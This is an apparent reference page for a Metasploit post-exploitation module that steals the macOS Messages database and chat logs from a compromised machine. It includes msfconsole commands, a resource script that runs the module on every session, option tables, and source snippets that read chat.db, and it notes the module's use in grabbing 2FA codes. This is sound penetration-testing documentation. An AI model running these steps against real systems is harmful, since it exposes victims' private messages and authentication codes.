OS X Gather Messages - Metasploit


This page contains detailed information about how to use the post/osx/gather/enum_messages metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OS X Gather Messages
Module: post/osx/gather/enum_messages
Source code: modules/post/osx/gather/enum_messages.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect the Messages sqlite3 database files and chat logs from the victim's machine. There are four actions you may choose: DBFILE, READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and LATEST will retrieve the last X number of messages (useful with 2FA). Module was tested with OS X 10.11 (El Capitan).

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/enum_messages

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/enum_messages
msf post(enum_messages) > show options
    ... show and set options ...
msf post(enum_messages) > set SESSION session-id
msf post(enum_messages) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/enum_messages")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the osx/gather/enum_messages post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/enum_messages

msf6 post(osx/gather/enum_messages) > show info

       Name: OS X Gather Messages
     Module: post/osx/gather/enum_messages
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  Geckom <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Available actions:
  Name      Description
  ----      -----------
  ALL       Collect all Messages data
  DBFILE    Collect Messages DB file
  LATEST    Collect the latest message
  READABLE  Collect Messages DB and download in a readable format

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  MSGCOUNT  3                no        Number of latest messages to retrieve.
  SESSION                    yes       The session to run this module on.
  USER                       no        Username to retrieve messages from (defaults to current user)

Description:
  This module will collect the Messages sqlite3 database files and 
  chat logs from the victim's machine. There are four actions you may 
  choose: DBFILE, READABLE, LATEST, and ALL. DBFILE and READABLE will 
  retrieve all messages, and LATEST will retrieve the last X number of 
  messages (useful with 2FA). Module was tested with OS X 10.11 (El 
  Capitan).

Module Options


This is a complete list of options available in the osx/gather/enum_messages post exploitation module:

msf6 post(osx/gather/enum_messages) > show options

Module options (post/osx/gather/enum_messages):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   MSGCOUNT  3                no        Number of latest messages to retrieve.
   SESSION                    yes       The session to run this module on.
   USER                       no        Username to retrieve messages from (defaults to current user)

Post action:

   Name  Description
   ----  -----------
   ALL   Collect all Messages data

Advanced Options


Here is a complete list of advanced options supported by the osx/gather/enum_messages post exploitation module:

msf6 post(osx/gather/enum_messages) > show advanced

Module advanced options (post/osx/gather/enum_messages):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the osx/gather/enum_messages module can do:

msf6 post(osx/gather/enum_messages) > show actions

Post actions:

   Name      Description
   ----      -----------
   ALL       Collect all Messages data
   DBFILE    Collect Messages DB file
   LATEST    Collect the latest message
   READABLE  Collect Messages DB and download in a readable format

Evasion Options


Here is the full list of possible evasion options supported by the osx/gather/enum_messages post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/enum_messages) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Messages DB does not exist


Here is a relevant code snippet related to the "<PEER> - Messages DB does not exist" error message:

49:	    # Check file exists
50:	    messages_path = "/Users/#{user}/Library/Messages/chat.db"
51:	    if file_exist?(messages_path)
52:	      print_good("#{peer} - Messages DB found: #{messages_path}")
53:	    else
54:	      fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
55:	    end
56:	
57:	    # Check messages.  And then set the default profile path
58:	    unless messages_path
59:	      fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")

<PEER> - Unable to find messages, will not continue


Here is a relevant code snippet related to the "<PEER> - Unable to find messages, will not continue" error message:

54:	      fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
55:	    end
56:	
57:	    # Check messages.  And then set the default profile path
58:	    unless messages_path
59:	      fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
60:	    end
61:	
62:	    print_good("#{peer} - Found Messages file: #{messages_path}")
63:	
64:	    files = []

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Geckom <geckom[at]redteamr.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.